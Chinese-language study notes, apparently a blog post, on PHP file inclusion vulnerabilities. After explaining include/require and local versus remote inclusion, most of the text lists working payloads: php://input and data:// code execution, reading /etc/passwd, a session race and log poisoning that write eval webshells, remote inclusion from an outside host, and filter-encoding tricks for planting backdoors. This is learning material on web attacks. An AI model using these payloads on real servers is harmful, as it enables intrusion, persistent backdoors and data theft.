一、文件包含漏洞
和SQL等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
PHP常用文件包含函数:include(),require(),include_once(),require_once()
区别如下:
- require():找不到被包含的文件会产生致命错误,并停止脚本运行
- include():找不到被包含的文件只会产生警告,脚本继续执行
- require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
二、漏洞成因分析
写以下两串php代码
利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

将phpinfo.php文件后缀改为txt后进行访问,依然可以解析,同理,jpg也可

可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
在文件上传漏洞中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。
将phpinfo.txt的内容改成一段文字:hello world!,再次进行访问,依旧可以读出文本内容

利用这个特性,我们可以读取一下包含敏感信息的文件。
三、本地包含、远程包含
①本地文件包含(LFI)
本地文件包含是指包含服务器本地文件并执行其中的代码。通常用于重用代码片段,避免重复编写相同的代码。
例如,在PHP中,可以使用include 或require函数来包含文件:
<?php
include('localfile.php');
?>
如果包含的文件不存在,include 函数会产生警告,但脚本会继续运行,而require函数会产生致命错误并终止脚本。
②远程文件包含(RFI)
远程文件包含是指通过URL包含远程服务器上的文件并执行其中的代码。
要实现远程文件包含,PHP配置中的allow_url_include必须开启:
<?php
include('http://example.com/remotefile.php');
?>
远程文件包含的风险更大,因为攻击者可以通过URL传递恶意代码并在目标服务器上执行。
风险:本地文件包含:主要风险是泄露服务器上的敏感文件。
远程文件包含:风险更大,可能导致远程代码执行。
四、伪协议
文件读取:
file:///etc/passwd(绝对路径)
php://filter/read=convert.base64-encode/resource=phpinfo.php(相对路径)
文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
代码执行:
php://input------POST:<?php phpinfo();?>
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdJcycpOz8+
++(注:PD9waHAgc3lzdGVtKCdJcycpOz8+解码为<?php system('Is');?>++
五、session包含
session文件会定时清空
自定义session名字,条件竞争不断访问session文件,value代码会不断写入是session文件中去,然后再session文件清空的一刹那不断用条件竞争去包含session文件,使其执行value代码,代码执行时就会创建shell.php文件,写入后门代码。
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />
六、php&http协议
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>
七、data&http协议
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
八、日志包含
利用日志记录UA特性包含执行,将后门代码写入UA 头中
payload:/var/log/nginx/access.log
九、php://filter/write&加密编码
1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
2、利用凯撒13:
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>
十、php://filter/write&新的算法
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
以上内容均为自己学习理解所得,如有错误,欢迎大家评论指正!